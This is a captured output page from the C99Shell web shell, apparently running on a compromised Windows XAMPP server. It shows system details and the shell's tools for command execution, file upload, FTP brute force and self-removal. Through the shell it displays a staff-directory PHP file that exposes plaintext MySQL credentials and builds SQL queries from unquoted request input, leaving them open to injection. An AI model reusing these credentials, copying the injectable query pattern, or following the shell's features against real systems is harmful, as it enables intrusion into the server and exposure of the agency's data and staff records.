!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\portel_dama\libreria\php\2006\   drwxrwxrwx
Free 4.96 GB of 239.26 GB (2.07%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     direc.php (5.84 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
# FileName="Connection_php_mysql.htm"
# Type="MYSQL"
# HTTP="true"
$hostname_l2006 "localhost";
$database_l2006 "dama";
$username_l2006 "jaime";
$password_l2006 "123";
$l2006 mysql_pconnect($hostname_l2006$username_l2006$password_l2006) or trigger_error(mysql_error(),E_USER_ERROR); 
?>
<?php
$ofix_rsdirect 
"0";
if (isset(
$ofix)) {
  
$ofix_rsdirect = (get_magic_quotes_gpc()) ? $ofix addslashes($ofix);
}
mysql_select_db($database_l2006$l2006);
$query_rsdirect sprintf("SELECT * FROM nueva_2006_planta WHERE valoroficina = %s ORDER BY Apellidos"$ofix_rsdirect);
$rsdirect mysql_query($query_rsdirect$l2006) or die(mysql_error());
$row_rsdirect mysql_fetch_assoc($rsdirect);
$totalRows_rsdirect mysql_num_rows($rsdirect);

$valor_rsTodos "0";
if (isset(
$valor)) {
  
$valor_rsTodos = (get_magic_quotes_gpc()) ? $valor addslashes($valor);
}
mysql_select_db($database_l2006$l2006);
$query_rsTodos sprintf("SELECT * FROM nueva_2006_planta WHERE valoroficina < %s ORDER BY Apellidos"$valor_rsTodos);
$rsTodos mysql_query($query_rsTodos$l2006) or die(mysql_error());
$row_rsTodos mysql_fetch_assoc($rsTodos);
$totalRows_rsTodos mysql_num_rows($rsTodos);
?>
<link href="/dama/libreria/php/2006/estilos.css" rel="stylesheet" type="text/css" />

<body>
<table width="90%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td class="capital">Por dependencia </td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=1">Direcci&oacute;n</a></td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=3">Oficina Asesora de Planeaci&oacute;n</a> </td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=2">Oficina Asesora de Control Interno </a></td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=4">Subdirecci&oacute;n Administrativa y Financiera</a> </td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=7">Subdirecci&oacute;n Ecosistemas y Biodiversidad </a></td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=5">Subdirecci&oacute;n Ambiental Sectorial </a></td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=6">Subdirecci&oacute;n de Control, de Vivienda </a></td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=8">Subdirecci&oacute;n de Gesti&oacute;n Local </a></td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=9">Subdirecci&oacute;n Juridica </a></td>
  </tr>
  <tr>
    <td class="txt">&nbsp;</td>
  </tr>
  <tr>
    <td class="txt"><img src="/dama/libreria/php/2006/pin.gif" width="8" height="8" /> <a href="/dama/libreria/php/decide.php?patron=01.0210&ofix=0&valor=10">Ver directorio Completo por orden alfab&eacute;tico</a> </td>
  </tr>
</table>
<br />
<br />
<?php if ($totalRows_rsdirect 0) { // Show if recordset not empty ?>
    <span class="capital"><?php echo $row_rsdirect['oficina']; ?></span><br>
  <table width="90%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="250" class="titlo">Cargo</td>
      <td class="titlo">Nombre Funcionario </td>
      <td width="150" class="titlo">Tel&Eacute;fono</td>
    </tr>
   <? 
$lista_colores=array('#CCE0EB','#FFFFFF'); 
$num_colores=2; 
$indice=0; 
?> <?php do { $color=$lista_colores[$indice $num_colores]; $indice++;?>
     <tr bgcolor=<? echo $color?>>
       <td width="250" class="txt"><?php echo $row_rsdirect['Cargo']; ?></td>
        <td class="txt"><?php echo $row_rsdirect['Nombres']; ?> <span class="cab"><?php echo $row_rsdirect['Apellidos']; ?></span></td>
        <td width="150" class="txt"><?php echo $row_rsdirect['extension']; ?></td>
    </tr>
      <?php } while ($row_rsdirect mysql_fetch_assoc($rsdirect)); ?>
  </table>
<?php // Show if recordset not empty ?>
<br>
<br>
<?php if ($totalRows_rsTodos 0) { // Show if recordset not empty ?>
    <span class="capital">Directorio de Funcionarios DAMA</span>
  <table width="90%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td width="250" class="titlo">Nombre Funcionario </td>
      <td width="150" class="titlo">Cargo</td>
      <td class="titlo"> OFICINA</td>
      <td width="150" class="titlo">Tel&Eacute;fono</td>
    </tr>
    
   <? 
$lista_colores=array('#CCE0EB','#FFFFFF'); 
$num_colores=2; 
$indice=0; 
?> 
    <?php do { $color=$lista_colores[$indice $num_colores]; $indice++ ?>
<tr bgcolor=<? echo $color?>>
  <td width="250" class="txt"><?php echo $row_rsTodos['Nombres']; ?> <span class="cab"><?php echo $row_rsTodos['Apellidos']; ?></span></td>        
  <td width="150" class="txt"><?php echo $row_rsTodos['Cargo']; ?></td>
        <td class="txt"><?php echo $row_rsTodos['oficina']; ?></td>
        <td width="150" class="txt"><?php echo $row_rsTodos['extension']; ?></td>
    </tr>
      <?php } while ($row_rsTodos mysql_fetch_assoc($rsTodos)); ?>
  </table>
  <?php // Show if recordset not empty ?></body>
</html>
<?php
mysql_free_result
($rsdirect);

mysql_free_result($rsTodos);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--